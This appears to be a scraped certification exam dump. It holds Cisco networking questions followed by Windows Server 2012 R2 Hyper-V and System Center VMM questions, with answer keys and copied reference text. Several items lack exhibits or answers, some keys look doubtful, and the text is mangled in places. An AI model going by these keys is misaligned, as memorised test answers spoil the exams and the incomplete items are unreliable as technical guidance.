QUESTION 45 Refer to the exhibit.If the given network is in the process of being migrated from EIGRP to OSPF , includes external routes, and all routers are currently running both protocol action must you perform to complete the migration? A. Change the EIGRP Administrative Distance to 111, wait until all routers are present, and then change it back to the default value. B. Change the OSPF Administrative Distance to 91, wait until all routers are present, and then change it back to the default value. C. Change the EIGRP Administrative Distance to match the OSPF Administrative Distance, wait until all Routers are present, and then change the EIGRP Administrative Distance back to the default value. D. Change the OSPF Administrative Distance to 171, wait until all routers are present, and then change itback to the default value. Correct Answer: D
QUESTION 46 interface tunnel0 tunnelmode ipv6ip 6to4 tunnelsource 125.203.89.1 ipv6 address ? Which statement is true about a valid IPv6 address that can be configured on tunnel interface0? A. 2001:7DCB:5901::/128 is a valid IPv6 address B. There is not enough information to calculate the IPv6 address C. 6to4 tunneling allows you to use any IPv6 address D. 2002:7DCB:5901::/128 is a valid IPv6 address Correct Answer: D
QUESTION 47 … event manager applet OSPF event syslog parttern “%OSPF-S-ADJCHG: Process 1 , Nbr 10.0.0.2 on GigabitEthernet0/1 from FULL to DOWN,…” … Refer to exhibit. which two statementsabout the network environment must be true?(choose two) A. If the administrator enters the show ip ospf neighbor gigabitEthernet0/1 command, the output is blank B. The applet runs only after OSPF neighbors are verified C. An OSPF neighbor relationship is established when the interface recovers D. A BGP neighbor relationship is established over GigabitEthernet0/1 E. The applet runs befor any commands are executed Correct Answer: AB
QUESTION 48 which two statements about MLD are true?(choose two) A. MLD is a subprotocol of PIMv6 B. When a single link supports multiple interfaces, only one interface is required to send MLD messages C. MLD is a subprotocol of ICMPv6 D. When a single link supports multiple interfaces, all supported interface are required to send MLD messages E. There are three subtypes of MLD query messages F. The code section in the MD message is sent to 1 by the sender and ignored by receivers Correct Answer: BC
QUESTION 49 which mechanism can be used on Layer 2 switches so that only multicast packets with downstream receivers are sent on the multicast router-connected ports? A. Router GuardB. IGMP snooping C. multicast filtering D. PIM snooping Correct Answer: D
QUESTION 50 R1(E0/0)—————-IPSec VTI Tunnel——————R2(E0/1) Refer to the exhibit. when packets are transmitted from R1 to R2, where are they encrypted? A. within the crypto map B. on the E0/0 interface on R1 C. on the outside interface D. on the E1/0 interface on R2 E. in the forwarding engine F. in the tunnel Correct Answer: F
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QUESTION 1 You administer a Windows Server 2012 R2 server that has the Hyper-V role installed. You deploy a new virtual machine. You add two virtual network adapters to the virtual machine. You need to ensure that the virtual machine maintains network connectivity if one virtual network adapter fails. What should you do? A. Run the Windows PowerShell cmdlet Enable-VMReplication. B. Enable Dynamic Host Configuration Protocol (DHCP) Guard. C. Run the Windows PowerShell cmdlet Set-VMHost. D. Run the Windows PowerShell cmdlet Set-VMNetworkAdapter. Correct Answer: D Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/hh848457.aspx
QUESTION 2 You administer a server that runs Windows Server 2012 R2 that has the Hyper-V role installed. You plan to apply an update to a virtual machine (VM). You have the following requirements: You must be able to quickly revert back to a pre-update state. The solution must minimize storage requirements on the server. You need to apply the update. What should you do? A. Run the Windows PowerShell cmdlet New-VirtualDiskClone. B. Create a checkpoint of the VM. C. Run the Windows PowerShell cmdlet Export-VMSnapshot. D. Export the VM. Correct Answer: B Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/cc956044.aspx
QUESTION 3 A company has Windows Server 2012 R2 servers that have the Hyper-V role installed. The guest virtual machines are configured as follows:
You need to ensure that the environment supports online virtual hard disk resizing. What should you do? A. Convert the virtual machines to Generation 2 virtual machines. B. Deploy clustered storage spaces. C. Convert the drive format of the virtual machines to the VHDX file format. D. Deploy Serial Attached SCSI (SAS). Correct Answer: C Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/dn282286.aspx Requirements The following functionality is required for resizing a virtual hard disk: A server capable of running Hyper-V. The server must have processor support for hardware virtualization. The Hyper-V role must be installed. ?A user account that is a member of the local Hyper-V Administrators group or the Administrators group. The following functionality is required for resizing a virtual hard disk: VHDX – the ability to expand and shrink virtual hard disks is exclusive to virtual hard disks that are using the .vhdx file format. Online resizing is supported for VHDX disk types, including fixed, differencing, and dynamic disks. Virtual hard disks that use the .vhd file format are not supported for resizing operations. ?SCSI controller – the ability to expand or shrink the capacity of a virtual hard disk is exclusive to .vhdx files that are attached to a SCSI controller. VHDX files that are attached to an IDE controller are not supported.
QUESTION 4 A Windows Server 2012 R2 Hyper-V host server has four network adapters that are connected to two different network switches. The server contains a virtual machine named NYC-WEB. You have the following requirements: increase the available bandwidth for NYC-WEB implement network fault tolerance for NYC-WEB without modifying network switch configurations use the least amount of administrative effort You need to configure the Hyper-V environment. What should you do first? A. Enable NIC teaming. Configure the team to use Static Teaming mode. B. Enable NIC teaming. Configure the team to use Switch Independent mode. C. Enable Bandwidth Management on NYC-WEB. D. Run the Windows PowerShell command Set-NetLbfoTeam -Name Team1 -TeamingMode Static. Correct Answer: B Explanation Explanation/Reference: Ref: http://blogs.technet.com/b/privatecloud/archive/2012/06/19/nic-teaming-in-windows-server- 2012-brings-simple-affordable-traffic-reliability-and-load- balancing-to-your-cloud- workloads.aspx
QUESTION 5 A company plans to create a Hyper-V environment that will contain three virtual machines (VMs). A limited amount of storage space is available to host the VMs.The VMs will be configured as follows:
You must maximize disk performance. You need to recommend a storage solution. Which type of virtual disk type should you configure for each VM? A. pass-through B. fixed C. dynamically expanding D. differencing Correct Answer: B Explanation Explanation/Reference: Ref: http://www.petri.co.il/choosing-hyper-v-storage-virtual-hard-disks-2.htm# Virtual Disk Types There are considerations for using virtual disks, and what types of virtual disks are available: ?Fixed–The VHD image file is pre-allocated on the backing store for the maximum size requested. ?Expandable–Also known as”;dynami”;,”;dynamically expandabl”;, and”;spars”;, the VHD image file uses only as much space on the backing store as needed to store the actual data the virtual disk currently contains. When creating this type of virtual disk, the VHD API does not test for free space on the physical disk based on the maximum size requested, therefore it is possible to successfully create a dynamic virtual disk with a maximum size larger than the available physical disk free space. Note The maximum size of a dynamic virtual disk is 2,040 GB. ?Differencing–A parent virtual disk is used as the basis of this type, with any subsequent writes written to the virtual disk as differences to the new differencing VHD image file, and the parent VHD image file is not modified. For example, if you have a clean- install system boot operating system virtual disk as a parent and designate the differencing virtual disk as the current virtual disk for the system to use. then the operating system on the parent virtual disk stays in its original state for quick recovery or for quickly creating more boot images based on additional differencing virtual disks. Note The maximum size of a differencing virtual disk is 2,040 GB. All virtual disk types have a minimum size of 3 MB. With Pass-through disks, you lose all of the benefits of VHD files such as portability, snap- shotting and thin provisioning. Performance is marginally better than that of VHD files. Reference: http://clusteringformeremortals.com/2009/09/25/ hyper-v-pass-through-disk- performance-vs- fixedsize-vhd-files-and-dynamic-vhd-files-in-windows-server-2008-r2/
QUESTION 6 A company has servers that run Windows Server 2012 R2. The company has one Active Directory Domain Services (AD DS) domain. A user reports that USB devices are not redirected when he uses the Virtual Machine Connection tool to connect to a virtual machine. USB device redirection works for other users that connect to this VM. You need to ensure that USB devices are redirected for all users when they connect to this VM. What should you do? A. Add the user as a member of the Administrators group on the VM. B. Ensure that the Allow enhanced session mode setting is set to Enabled on the VM. C. Ensure that the Remote Desktop Services service is running on the VM. D. Add the user as a member of the Administrators group on the AD DS domain. Correct Answer: A Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/dn282274.aspx Re-direction works for other users on this VM. This means that Enhanced Session Mode is already enabled on the server and VM. Additionally, Remote Desktop Services needs to be running, and the user account you use to sign in to the virtual machine needs to be a member of the Remote Desktop Users local group or the local Administrators group.
QUESTION 7 A company has seven Windows Server 2012 R2 virtual machines (VMs). The VMs are running and are accessible over the network. You plan to copy a large .ISO file from the host server to each of the VMs. The copy operations must meet the following requirements: The VMs must remain accessible over the network during the copy operations. The copy operations must NOT use a network connection. You need to configure the VMs. What should you do on each VM? A. Enable the Guest services integration service. B. Enable the Data Exchange integration service. C. Add a network adapter, and then enable the virtual machine queue (VMQ) option on the adapters. D. Set the value of the Smart Paging File Location property to %SYSTEMROOT%\temp. Correct Answer: A Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/dn282278.aspx Q: What is the new Guest services integration service in Windows Server 2012 R2 Hyper-V? A: Several integration services are available for virtual machines (VMs) such as time synchronization, heartbeat, backup, OS shutdown, and data exchange. In Windows Server 2012 R2, a new integration service has been added, Guest services. Guest services enables the copying of files to a VM using WMI APIs or using the new Copy-VMFile Windows PowerShell cmdlet.
QUESTION 8 A company has one central data center and five branch offices. Each office has three Hyper-V host servers that run Windows Server 2012 R2 Datacenter edition. Each branch office has a system administrator. You plan to deploy virtual machines (VMs) that run Windows Server 2012 R2 Standard edition to each branch office. You have the following requirements: The VMs must be activated at the branch offices, even if the branch office has no Internet connectivity. Activation keys must NOT be shared with the branch office administrators. You must be able to track license usage from the central location, even without access rights to the VMs. You must be able to verify license compliance and perform real time reporting on license usage from a central location. You need to configure licensing and activation for the VMs. Which feature or tool should you use? A. Multiple Activation Key (MAK) B. Volume Activation Management Tool (VAMT) C. Key Management Service (KMS) D. Automatic Virtual Machine Activation (AVMA) Correct Answer: D Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/dn303421.aspx Automatic Virtual Machine Activation (AVMA) acts as a proof-of-purchase mechanism, helping to ensure that Windows products are used in accordance with the Product Use Rights and Microsoft Software License Terms. AVMA lets you install virtual machines on a properly activated Windows server without having to manage product keys for each individual virtual machine, even in disconnected environments. AVMA binds the virtual machine activation to the licensed virtualization server and activates the virtual machine when it starts up. AVMA also provides real-time reporting on usage and historical data on the license state of the virtual machine. Reporting and tracking data is available on the virtualization server.
QUESTION 9 A company consolidates multiple data centers into a single centralized datacenter by using a Windows Server 2012 R2 server that has the Hyper-V role installed. You must be able to support chargeback based on the usage of the following resources: average CPU usage per virtual machine (VM) average physical memory used by a VM over a period of time highest amount of memory assigned to a VM over a period of time highest amount of disk spaced assigned to a VM over a period of time You need to track the resources without installing any additional tools. Which tool should you use? A. Process Explorer B. Resource Metering C. Reliability Monitor D. Resource Monitor Correct Answer: B Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/hh831661.aspx
QUESTION 10 A company has a Windows Server 2012 R2 Hyper-V host server named NYC-HOST1 that hosts a virtual machine (VM) named NYC-VM1. A critical security update must be applied immediately to NYC-VM1. There is no time to test the update before deployment. You must minimize the amount of time needed to restore the VM. You need to capture the state of NYC-VM1 before you install the critical security update. What should you do? A. From Hyper-V Manager, select NYC-VM1, and then create a checkpoint. B. Run the Windows PowerShell command Save-VM NYC-VM1. C. Run the Windows PowerShell command Get-VMSnapshot NYC-VM1. D. Run the Windows PowerShell command Export-VMSnapshot NYC-VM1. Correct Answer: A Explanation Explanation/Reference: Explanation: A checkpoint is the Windows Server 2012 R2 Hyper-V name for a snapshot. A snapshot will save the state of the VM. http://technet.microsoft.com/en-us/library/cc956044.aspx http://www.interweb.org.uk/2011/03/21/understanding-hyper-v-virtual-machine- snapshotscheckpoints/ http://technet.microsoft.com/en-us/library/dd560637(v=ws.10).aspx http:// technet.microsoft.com/en-us/library/hh848539.aspx
QUESTION 11 You administer a Windows Server 2012 R2 Hyper-V host server that contains production and test virtual machines (VMs). You plan to optimize the performance of the VMs. The following settings must be applied to the VMs: You must set a maximum value for the input/output operations per second (IOPS) on the test VMs. You must set a minimum value for the IOPS on the production VMs. You need to configure the environment. What should you do? A. On all VMs, enable Network Quality of Service (QoS). B. Create a shared virtual hard disk (VHD). C. On the Hyper-V host server, enable Resource Metering. D. On all VMs, enable Storage Quality of Service (QoS). Correct Answer: DExplanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/dn282281.aspx
QUESTION 12 A company has a Windows Server 2012 R2 server that has the Hyper-V role installed. The server has a single processor and a single 10-gigabit network interface card (NIC). 12 virtual machines (VMs) run on the server. You need to configure Hyper-V to allow higher network throughput and reduce processing overhead related to network operations. What should you do? A. Run the Windows PowerShell command Set-VMNetworkAdapter -VmqWeight 0 on the VMs. B. In Hyper-V Manager, disable the protected network option for all NICs on the VMs. C. in Hyper-V Manager, enable the Single Root I/O Virtualization (SR-IOV) option on the VMs. D. Disable Internet Protocol security (IPsec) task offloading on the VMs. Correct Answer: C Explanation Explanation/Reference: What is SR-IOV Requires support in network adapter Provides Direct Memory Access to virtual machines Increases network throughput Reduces network latency Reduces CPU overhead on the Hyper-V server Virtual machine bypasses virtual switch Supports Live Migration, even when different SR_IOV adapters are used
QUESTION 13 You administer an environment that uses a Windows Server 2012 R2 Hyper-V cluster and System Center 2012 R2 Virtual Machine Manager (VMM). You plan to deploy two virtual machines (VMs) that host a line-of-business (LOB) application. The VMs must reside on the same Hyper-V host server at all times. The LOB application does NOT require high availability. You need to deploy the VMs. What should you do? A. Add a custom property to both VMs, and assign the same value to each property. Configure the Hyper-V host cluster to use the same custom property and value. Configure a custom placement rule that uses filters that are based on the custom property and value. B. Configure the VMs to use the same VM network. C. Configure the VMs to reside on the same storage area networks (SANs). D. Add a custom property to both VMs, and assign the same value to each property. Configure the VMs as members of the same availability set. Correct Answer: A Explanation Explanation/Reference: Ref: http://blogs.technet.com/b/scvmm/archive/2013/03/11/custom-placement-rules-and- availability-sets-in-scvmm-2012-sp1.aspx
QUESTION 14 You administer two Windows 2012 R2 servers that have the Hyper-V role installed. You plan to deploy a new Hyper-V cluster. The cluster instance must NOT be added to Active Directory. You need to deploy the cluster. What should you do? A. Use Hyper-V Manager to deploy the cluster. B. Use Failover Cluster Manager to deploy the cluster. C. Run the Windows PowerShell cmdlet New-Cluster. Specify ActiveDirectoryAndDNS for the AdministrativeAccessPoint parameter. D. Run the Windows PowerShell cmdlet New-Cluster. Specify DNS for the AdministrativeAccessPoint parameter. Correct Answer: D Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/dn265970.aspx To deploy an Active Directory-detached cluster, you must use Windows PowerShell. You cannot use Failover Cluster Manager. To create the failover cluster, start Windows PowerShell as an administrator, and then use the New-Cluster cmdlet with the AdministrativeAccessPoint parameter set to a value of DNS.
QUESTION 15 You are the virtualization administrator for an organization that manages private and public cloud-based resources. The organization uses Windows Server 2008 R2 SP1 Hyper-V. All Hyper-V host servers are configured as nodes in a four- node cluster. The organization also uses System Center 2012 R2. Operating system updates to each host server require a system reboot. You need to ensure that the virtual machines remain online during any reboots required by the updates. What should you do? A. Apply updates by using the Virtual Machine Servicing Tool (VMST). B. Configure orchestrated updates of Hyper-V host clusters in System Center 2012 R2 Virtual Machine Manager (VMM). C. Implement cluster-aware updating with the Cluster-Aware Updating (CAU) wizard. D. In System Center 2012 R2 Configuration Manager, add all of the servers to a collection. Deploy updates to the collection. Correct Answer: C Explanation Explanation/Reference: http://technet.microsoft.com/en-us/library/hh831694.aspx CAU is an automated feature that enables you to update clustered servers with little or no loss of availability during the update process. During an Updating Run, CAU transparently performs the following tasks: ?Puts each node of the cluster into node maintenance mode ?Moves the clustered roles off the node ?Installs the updates and any dependent updates ?Performs a restart if necessary ?Brings the node out of maintenance mode ?Restores the clustered roles on the node ?Moves to update the next node For many clustered roles (formerly called clustered applications and services) in the cluster, the automatic update process triggers a planned failover, and it can cause a transient service interruption for connected clients. However, in the case of continuously available workloads such as Hyper-V with live migration or file server with SMB Transparent Failover, CAU can coordinate cluster updates with no impact to the service availability. Note The CAU feature is only compatible with Windows Server 2012 R2 and Windows Server 2012 failover clusters and the clustered roles that are supported on those versions.
QUESTION 16 You have a Windows Server 2012 R2 Hyper-V environment that includes System Center 2012 R2 Virtual Machine Manager (VMM). The environment includes five physical servers. The servers are configured as follows:
You plan to use VMM to migrate physical machines to virtual machines. You must migrate all servers that support physical to virtual (P2V) migration. You need to migrate the servers. Which three servers should you migrate? Each correct answer presents part of the solution. A. NYC-WEB B. NYC-PR C. NYC-DEV D. NYC-FS E. NYC-EX Correct Answer: ABC Explanation Explanation/Reference: The source computer cannot have any volumes larger than 2040 GB. This disqualifies NYC- FS( not D) and NYC-EX (not E). Note: * Requirements on the Source Machine To perform a P2V conversion, your source computer:/Must have at least 512 MB of RAM. / Cannot have any volumes larger than 2040 GB. / Must have an Advanced Configuration and Power Interface (ACPI) BIOS Vista WinPE will not install on a non-ACPI BIOS. / Must be accessible by VMM and by the host computer. / Cannot be in a perimeter network. A perimeter network, which is also known as a screened subnet, is a collection of devices and subnets placed between an intranet and the Internet to help protect the intranet from unauthorized Internet users. The source computer for a P2V conversion can be in any other network topology in which the VMM server can connect to the source machine to temporarily install an agent and can make Windows Management Instrumentation (WMI) calls to the source computer.
QUESTION 17 An organization has private and public cloud resources. The organization has Windows Server 2012 R2 servers that have the Hyper-V role installed. You have one four-node cluster of Hyper- V host servers. You use System Center 2012 R2. The virtual machines that run on the cluster must remain online when you install updates on the Hyper-V host servers. You need to install updates on the Hyper-V host servers. What should you do? A. Configure Windows Server Update Services (WSUS) to provide updates to the Hyper-V host servers in the cluster. B. Add all the virtual machines hosted on the cluster to a collection in System Center 2012 R2 Configuration Manager. Deploy updates to the collection. C. Use the Cluster-Aware Updating (CAU) wizard. D. Configure Windows Update on the Hyper-V host servers to download updates from Microsoft Update. Correct Answer: C Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/library/gg675084.aspx CAU is an automated feature that enables you to update clustered servers with little or no loss of availability during the update process. During an Updating Run, CAU transparently performs the following tasks: ?Puts each node of the cluster into node maintenance mode ?Moves the clustered roles off the node ?Installs the updates and any dependent updates ?Performs a restart if necessary ?Brings the node out of maintenance mode ?Restores the clustered roles on the node ?Moves to update the next node For many clustered roles (formerly called clustered applications and services) in the cluster, the automatic update process triggers a planned failover, and it can cause a transient service interruption for connected clients. However, in the case of continuously available workloads such as Hyper-V with live migration or file server with SMB Transparent Failover, CAU can coordinate cluster updates with no impact to the service availability. Note The CAU feature is only compatible with Windows Server 2012 R2 and Windows Server 2012 failover clusters and the clustered roles that are supported on those versions.
QUESTION 18 Your environment contains one Active Directory Domain Services (AD DS) domain. All domain controllers have Windows Server 2012 R2 installed. All domain controllers are virtualized domain controllers. You design a disaster recovery strategy. You have the following requirements: The domain controllers can be recovered in the event that a Hyper-V host server fails. The AD DS domain must be restorable to a consistent state. You must minimize the data loss. You need to ensure that the domain controllers can be recovered in the event of a failure. What should you do? A. Clone the domain controller that holds the PDC Emulator role to a different Hyper-V host server. Schedule a Windows PowerShell job to run the Checkpoint- VM cmdlet on each virtual domain controller. B. Run Windows Azure Hyper-V Recovery Manager. C. On each guest operating system, run Windows Server Backup. D. On the host operating system, run Windows Server Backup. E. Schedule a Windows PowerShell job to back up each domain controller’s virtual hard disk (VHD) file. Correct Answer: C Explanation Explanation/Reference: http://technet.microsoft.com/en-us/library/d2cae85b-41ac-497f-8cd1- 5fbaa6740ffe(v=ws.10) #backup_and_restore_considerations_for_virtualized_domain_controllers
QUESTION 19 You manage a virtualization environment that contains Windows Server 2012 R2 servers that have the Hyper-V role installed. You manage the host servers by using Virtual Machine Manager (VMM) in System Center 2012 R2. You must monitor the virtualization environment, including all virtual machines and service instances. You need to configure monitoring. Which three actions should you perform? Each correct answer presents part of the solution. A. Import the VMM Management Pack and then deploy agents to the Hyper-V host servers and the VMM server. On the Hyper-V host server, enable agent proxy for the Operations Manager agent. B. In the VMM console, add the name of an Operations Manager server to the management group that will be used to monitor the virtualization infrastructure. C. On the VMM server, install the Operations Manager console. D. On the Operations Manager management server, enable Windows Remote Management (WinRM). E. Import the VMM Management Pack and then deploy agents to Hyper-V host servers and the VMM Server. On the VMM server, enable agent proxy for the Operations Manager agent. F. Configure the VMM server and the Active Directory computer accounts of the Hyper-V host servers to allow constrained delegation. Correct Answer: ABC Explanation Explanation/Reference: http://blogs.technet.com/b/kevinholman/archive/2012/08/21/integrating-vmm-2012-and-opsmgr- 2012.aspx Step 1: (C) The Operations Manager is a requirement. With System Center Operations Manager 2012 SP1, customers can now monitor Hyper-V Replica using a Management Pack available for free from the SCOM catalogue. Step 2: (A) An Operations Manager agent is a service that is installed on a computer. The agent collects data, compares sampled data to predefined values, creates alerts, and runs responses.A management server receives and distributes configurations to agents on monitored computers. Step 3: (B) Enter in one of your management server names to provide the SDK connection to VMM. Next we will need two accounts. One for SCVMM to connect to SCOM, and one for SCOM to connect to SCVMM.
QUESTION 20 A company has Active Directory Domain Services (AD DS) domain controllers that run Windows Server 2012 R2. You prepare a disaster recovery plan for Active Directory. You have the following requirements: The domain controller restore process must complete as quickly as possible. After the restore process completes, the Active Directory database on the domain controller must be brought up to date by using replication. You need to implement the disaster recovery plan. What should you do? A. Authoritatively restore the domain controllers by using the ntdsutil.exe tool. B. Restore the domain controllers by using the Active Directory Recycle Bin. C. Back up and restore the domain controllers by using the wbadmin.exe tool. D. Back up and restore the domain controllers by using the Idp.exe tool. Correct Answer: C Explanation Explanation/Reference: Ref: http://technet.microsoft.com/en-us/magazine/dd767786.aspx wbadmin: Enables you to back up and restore your operating system, volumes, files, folders, and applications from a command prompt. http://technet.microsoft.com/en-us/library/cc754015.aspx ntdsutil: Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory Domain Services (AD DS) and Active Directory Lightweight Directory Services (AD LDS). You can use the ntdsutil commands to perform database maintenance of AD DS, manage and control single master operations, and remove metadata left behind by domain controllers that were removed from the network without being properly uninstalled. This tool is intended for use by experienced administrators. http:// technet.microsoft.com/en-us/library/cc753343.aspx Active Directory Recycle Bin: Active Directory Recycle Bin helps minimize directory service downtime by enhancing your ability to preserve and restore accidentally deleted Active Directory objects without restoring Active Directory data from backups, restarting Active Directory Domain Services (AD DS), or rebooting domain controllers. http:// technet.microsoft.com/en-us/library/dd392261%28v=ws.10%29.aspx ldp: This GUI tool is a Lightweight Directory Access Protocol (LDAP) client that allows users to perform operations (such as connect, bind, search, modify, add, delete) against any LDAP- compatible directory, such as Active Directory. LDP is used to view objects stored in Active Directory along with their metadata, such as security descriptors and replication metadata. http://technet.microsoft.com/en-us/library/cc772839%28v=ws.10%29.aspx
QUESTION 21 You are the virtualization administrator for an organization. The organization uses all components of System Center 2012 R2 in its production environment. You need to configure the environment to support Performance and Resource Optimization (PRO). How should you configure the environment? To answer, drag the appropriate server role to the correct location or locations. Each server role may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content.
QUESTION 22 You use System Center 2012 R2 Virtual Machine Manager (VMM) to manage a Hyper-V environment that consists of two host groups named Dev1 and Prod1. It also has two private clouds named DevCloud and ProdCloud. You have a self-service user role named DevVMAdmins. DevVMAdmins does NOT have the rights to perform any actions. DevVMAdmins must have the ability to start virtual machines (VMs), stop VMs, and shut down VMs. It must also be able to use resources from other self- service users. You need to configure the DevVMAdmins user role. How should you complete the relevant Windows PowerShell command? To answer, drag the appropriate Windows PowerShell segments to the correct locations in the cmdlet. Each Windows PowerShell segment may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content.
Explanation Explanation/Reference: Set-SCUserRole Modifies the settings for an existing VMM user role. * The actions that you can grant a Self-Service user include the following: CanReceive Receive resources from other self-service users *Parameter: -Permission<SelfServicePermission[]> Specifies the actions that members of a Self-Service User role can perform on their virtual machines or services. Valid values are: AllowLocalAdmin, Author, CanShare, CanReceive, Checkpoint, CheckpointRestoreOnly, Create, CreateFromVHDOrTemplate, PauseAndResume, RemoteConnect, Remove, Save, Shutdown, Start, Stop, Store.
QUESTION 23 A company uses System Center 2012 R2 Virtual Machine Manager (VMM) to manage their Hyper-V environment. The VMM environment has two host groups named Dev and Prod. The Hyper-V environment has the following requirements: Administrators of the Prod host group must be able to manage virtual machines (VMs) and perform all VMM administrative tasks only within the Prod host group. Administrators of the Dev host group must be able to manage VMs and perform all VMM administrative tasks only within the Dev host group. Administrators of the Dev host group must be able to provision new Hyper-V host servers from physical computers for the Dev host group. The security administrators must be able to add user objects to the Administrator role in VMM. All delegation must adhere to the principle of least privilege. You need to configure the user role profiles for each host group. Which user role profiles should you assign? To answer, drag the appropriate user role profile to the correct user group. Each user role profile may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content
Explanation Explanation/Reference: Note: * Fabric Administrator (Delegated Administrator) Members of the Delegated Administrator user role can perform all administrative tasks within their assigned host groups, clouds, and library servers, except for adding XenServer and adding WSUS servers. Delegated Administrators cannot modify VMM settings, and cannot add or remove members of the Administrators user role. http://technet.microsoft.com/en-us/library/gg696971.aspx
QUESTION 24 A company has a Hyper-V host server that runs Windows Server 2012 R2 Datacenter edition. The host server has a Generation 2 virtual machine (VM) that runs Windows Server 2012 R2 Standard edition. The drive that contains the VM system partition is at 90 percent of its capacity. You have the following requirements: The VM must continue to run during any system maintenance activities. You must use the least amount of administrative effort to accomplish the task. Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order
Explanation Explanation/Reference:
QUESTION 25 A software company has a Windows Server 2012 R2 server that has the Hyper-V role installed. The server hosts a single virtual machine (VM) named VM1. VM1 has one virtual CPU, one virtual hard disk, and one virtual network interface card (NIC) that is attached to an external network. The company prepares to test its software in VM1. Before testing begins, VM1 must meet the following requirements: Availability of network bandwidth must be maximized. VM network connectivity must be fault tolerant. You need to configure the environment. Which four actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.
Explanation Explanation/Reference: Note: * Set-VMNetworkAdapter The Set-VMNetworkAdapter cmdlet configures features of the virtual network adapter in a virtual machine or the management operating system. / parameter -AllowTeaming<OnOffState> Specifies whether the virtual network adapter can be teamed with other network adapters connected to the same virtual switch. The value can be On (allowed) or Off (disallowed). * New-NetLbfoTeam The New-NetLbfoTeam cmdlet creates a new NIC team that consists of one or more network adapters. Teaming network adapters of different speeds is not supported. You can create a team with network adapters of different speeds, but the network traffic distribution algorithms do not take the speed of each network adapter into consideration when distributing traffic. Incorrect: * New-NetSwitchTeam Creates a new switch team.
QUESTION 26 You have a Windows Server 2012 R2 server that has the Hyper-V role installed. The company has the following requirements for the Hyper-V host server: Virtual machines (VMs) must only communicate with other VMs and the Hyper- V host server. You must be able to monitor all TCP/IP packets to and from VMs from the moment that VMs are able to communicate. You must support a third-party program that uses the Network Driver Interface Specification (NDIS) API to monitor the TCP/IP packets between VMs. You need to configure the environment. Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order
Explanation Explanation/Reference:
QUESTION 27 You administer the following Windows Server 2012 R2 Hyper-V environment:
The environment also contains a computer named WORKSTATION1 that runs Windows 8. You need to perform maintenance on SERVER1. You have the following requirements: Perform live migration for VM-APP1. Use one of the Hyper-V management tools on WORKSTATION1 to perform the live migration tasks. You need to migrate VM-APP1. Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.
Explanation Explanation/Reference: * Box 1: / (Optional) Configure constrained delegation If you have decided to use Kerberos to authenticate live migration traffic, configure constrained delegation before you proceed to the rest of the steps. / To manage the tasks with remote management tools, configure constrained delegation and select Kerberos as the authentication protocol. * (Box2, Box 3) To move a running virtual machine Connect to the source server using one of the following methods (unless you are signed in to the source server): / From Server Manager, click All Servers and then click the name of the source server. / From Hyper-V Manager, in the navigation pane, click the name of the source server.
QUESTION 28 You are the virtualization administrator for an organization. You manage a virtual machine (VM) by using System Center 2012 R2 Virtual Machine Manager. The VM is in a running state. You plan to use the System Preparation (Sysprep) tool to create a virtual machine template from the VM. You need to save a copy of the VM before you run the Sysprep tool. Which actions should you take? To answer, drag the appropriate actions to the correct locations in the answer area. Each action may be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content
Explanation Explanation/Reference: You must shut down the VM before cloning it.
QUESTION 29 A company uses System Center 2012 R2 Virtual Machine Manager (VMM). The VMM server has the following shares: You need to configure VMM to share physical resources with private cloud users. Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.
Explanation Explanation/Reference: 1) In \\Share1, create a shared folder named Data. 2) In \\Share1\Data, create a folder named ApplicationFrameworks 3) Copy the contents of the ApplicationFrameworks folder from the default library to \\Share1\Data\Appli- cationFrameworks. Add the \\Share1\Data \ApplicationFrameworks shared folder to the VMM library Reference: http://technet.microsoft.com/en-us/library/gg610575.aspx
QUESTION 30 You administer the Hyper-V environment for a company. All virtual machines must use dynamic memory and virtual non-uniform memory access (NUMA) settings that are aligned to the underlying hardware. One virtual machine is misconfigured. You need to update the misconfigured virtual machine. In the Settings dialog box for the virtual machine, which two options should you select?
QUESTION 31 You administer two Windows 2012 R2 servers named SERVER1 and SERVER2. Both servers have the Hyper-V role installed. SERVER1 has network adapters that have Remote Direct Memory Access (RDMA) enabled. You plan to implement live migration in the environment. You have the following requirements: Use remote management tools to manage the live migration tasks. Optimize network performance during live migration. You need to configure live migration settings on each host server. In the Live Migrations section of the Hyper-V Settings window, which two options should you select? To answer, select the appropriate option buttons in the dialog box in the answer area.
Explanation Explanation/Reference:
QUESTION 32 A company has a single Active Directory Domain Services (AD DS) domain and Windows Server 2012 R2 servers that have the Hyper-V role installed. The company uses System Center 2012 R2 Virtual Machine Manager (VMM) to manage the Hyper-V environment. Users access company resources from the Internet. There is an existing front-end web server farm that contains virtual machines (VMs), as shown in the Front-end Web Server Farm exhibit. (Click the Exhibit button.) You use the VMs to deliver a website to the Internet.
The company plans to enhance overall security of the virtual environment. The front-end web servers must NOT be able to communicate with each other. You need to implement changes to the environment. For each of the following statements, select Yes if the statement is true. Otherwise, select No. Each correct selection is worth one point.
Explanation Explanation/Reference:
QUESTION 33 A company has six physical Windows Server 2012 R2 servers. The servers are configured as shown in the following diagram:
Host 1 and Host2 run Windows Server 2012 R2 and have the Hyper-V role installed. You need to configure the environment to support shared files that use the VHDX file format. Use the drop-down menus to complete each statement based on the information presented in the screenshot. Each correct selection is worth one point.
Explanation Explanation/Reference:
